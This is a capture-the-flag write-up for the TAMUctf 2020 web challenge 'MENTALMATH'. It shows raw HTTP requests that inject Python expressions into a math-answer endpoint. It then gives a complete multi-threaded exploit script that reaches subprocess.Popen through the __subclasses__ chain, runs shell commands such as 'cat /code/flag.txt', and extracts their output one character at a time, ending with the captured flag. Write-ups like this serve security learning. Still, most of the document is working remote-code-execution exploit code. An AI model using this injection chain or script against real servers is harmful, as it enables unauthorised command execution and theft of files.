# TAMUctf 2020 – MENTALMATH
* **Category:** web* **Points:** 262
## Challenge
> My first web app, check it out!> > http://mentalmath.tamuctf.com
## Solution
**DISCLAIMER**: This is *not the best solution* for the challenge, but hey: I had fun in scripting and exfiltrating stuff. Anyway, this could be useful for SSTI vulnerabilties.
Analyzing the web page source an interesting comment can be found.
```html
<html lang="en">  <head>    <meta charset="utf-8">
    <title>mEnTaL MaTh</title>    <meta name="description" content="A game for the wise.">    <meta name="author" content="Arithmetic King">
 
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">  </head>
  <body>    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>     <div class="container"> 
<div class="row mt-5">  <div class="col-sm-12 text-center"> <h1 id="problem"></h1> </div>  <div class="col-sm-12 text-center"> <input name="answer" type="text" style="font-size: 24px; width: 150px;" id="answer"> </div></div>
<div class="row mt-2">  <div class="col-sm-12 text-center">Sharpen your mind!</div></div>
Sharpen your mind!
<div class="row mt-1">  <div class="col-sm-12 text-center">Go back</div></div>
<script>  function submitProblem() {    $.post("/ajax/new_problem", {'problem': $("#problem").html(), 'answer': $('#answer').val()}, function ( data ) {      if (data.correct) {        $('#problem').html(data.problem);        $('#answer').val('');      }    });  }
$(document).ready(function() {  $("#answer").on('input', submitProblem);  submitProblem();});</script>
    </div>  </body></html>```
That comment (wrongly) suggested me that the vulnerability could have been related to a SSTI with *Jinja2* template engine (i.e. Python backend).
The remote endpoint allows you to submit a math `problem` and its `answer`.
```POST /ajax/new_problem HTTP/1.1Host: mentalmath.tamuctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: */*Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 41Origin: http://mentalmath.tamuctf.comConnection: closeReferer: http://mentalmath.tamuctf.com/play/
problem=max%281%2C%203%2C%202%29&answer=3
HTTP/1.1 200 OKServer: nginx/1.16.1Date: Fri, 20 Mar 2020 21:59:43 GMTContent-Type: application/jsonContent-Length: 39Connection: closeX-Frame-Options: SAMEORIGIN
{"correct": true, "problem": "37 - 83"}```
I don't know why, but I didn't think that it was a generic RCE via Python, even when I discovered that I could inject and execute `ord()` function (duh).
```POST /ajax/new_problem HTTP/1.1Host: mentalmath.tamuctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: */*Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 34Origin: http://mentalmath.tamuctf.comConnection: closeReferer: http://mentalmath.tamuctf.com/play/
problem=ord%28%27a%27%29&answer=97
HTTP/1.1 200 OKServer: nginx/1.16.1Date: Sat, 21 Mar 2020 00:19:55 GMTContent-Type: application/jsonContent-Length: 39Connection: closeX-Frame-Options: SAMEORIGIN
{"correct": true, "problem": "20 - 58"}```
So at this point I started a (stupid) "blind" approach, similar to the ones you normally use in SSTI vulnerabilities:1. enumerate `mro_index` and `subclasses_index` into `''.__class__.mro()[mro_index].__subclasses__()[subclasses_index]` structure in order to find where `subprocess.Popen` class is located, using `ord(list(str())[char_index])` functions to exfiltrate one char at a time; `subprocess.Popen` was at `''.__class__.mro()[1].__subclasses__()[208]`;2. enumerate server directories launching `ls` commands via `''.__class__.mro()[1].__subclasses__()[208]('command_to_launch',shell=True,stdout=-1).communicate()[0].strip()` in order to find the flag file; results are read one char at a time with `ord(list(str())[char_index])` functions;3. print the flag reading one char at a time with the `cat /code/flag.txt` command.
I scripted everything in a [multi-threaded Python script](https://github.com/m3ssap0/CTF-Writeups/raw/master/TAMUctf%202020/MENTALMATH/mentalmath-solver.py).
```python#!/usr/bin/python
import requestsimport stringimport timeimport _thread
debug = True
target_url = "http://mentalmath.tamuctf.com/ajax/new_problem"headers = {   "User-Agent": "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);",    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",   "X-Requested-With": "XMLHttpRequest",   "Accept-Encoding": "gzip, deflate, br",   "Origin": "http://mentalmath.tamuctf.com",   "Referer": "http://mentalmath.tamuctf.com/play/",}
def log_debug(scope, message):    if debug:        print("   DEBUG ({}) | {}".format(scope, message))
def check_python_class(searched_class, mro_index, subclass_index):    #log_debug(searched_class, "search python class > {} in mro={}, subclass={}".format(searched_class, mro_index, subclass_index))     output = ""    found_chars = 0    char_index = 8    for c in searched_class:        data = {"problem": "ord(list(str(''.__class__.mro()[{}].__subclasses__()[{}]))[{}])".format(mro_index, subclass_index, char_index), "answer": "{}".format(ord(c))}        #log_debug(searched_class, data)         response = None        response_ok = False        while not response_ok:            try:                r = requests.post(target_url, headers=headers, data=data)                response = r.text                #log_debug(searched_class, response)                if r.status_code != 502:                    response_ok = True                else:                    time.sleep(10)            except:                print("   EXCEPTION!")                time.sleep(5 * 60)         if "\"correct\": true" in response:            output += c            #log_debug(searched_class, output)            found_chars += 1            char_index += 1        elif "\"correct\": false" in response or "Server Error" in response:            break        time.sleep(0.5)     if found_chars == len(searched_class):        print("search python class > {} @ ''.__class__.mro()[{}].__subclasses__()[{}]".format(searched_class, mro_index, subclass_index))
def search_python_class_t(searched_class, mro_index):    for subclass_index in range(0, 672):        check_python_class(searched_class, mro_index, subclass_index)
def search_python_class(searched_class):    print("search python class > {}".format(searched_class))    for mro_index in range(0, 3):                _thread.start_new_thread(search_python_class_t, (searched_class, mro_index,))
def launch_remote_stuff(command_skeleton, command):    output = ""    print("remote command > {}".format(command))     finished = False    index = 0    while not finished:         for c in string.printable:            data = {"problem": command_skeleton.format(command, index), "answer": "{}".format(ord(c))}            #log_debug(command, data)             response = None            response_ok = False            while not response_ok:                try:                    r = requests.post(target_url, headers=headers, data=data)                    response = r.text                    #log_debug(command, response)                    if r.status_code != 502:                        response_ok = True                    else:                        time.sleep(10)                except:                    print("   EXCEPTION!")                    time.sleep(5 * 60)             if "\"correct\": true" in response:                output += c                log_debug(command, output)                index += 1                break            elif "Server Error" in response:                finished = True                break            time.sleep(0.5)     print("[{}] > {}".format(command, output))
def launch_remote_python_command(python_command):    launch_remote_stuff("ord(list(str({}))[{}])", python_command)
def launch_remote_shell_command(shell_command):    launch_remote_stuff("ord(list(str(''.__class__.mro()[1].__subclasses__()[208]('{}',shell=True,stdout=-1).communicate()[0].strip()))[{}])", shell_command)
# Exploitation.
#search_python_class("subprocess.Popen") # subprocess.Popen @ ''.__class__.mro()[1].__subclasses__()[208]
#while True:#    pass
#commands = ["ls /", "ls .", "ls /etc", "ls /code", "ls /dev"]#for command in commands:#    _thread.start_new_thread(launch_remote_shell_command, (command,))
#while True:#    pass
launch_remote_shell_command("cat /code/flag.txt")```
The flag is the following.
```gigem{1_4m_g0od_47_m4tH3m4aatics_n07_s3cUr1ty_h3h3h3he}```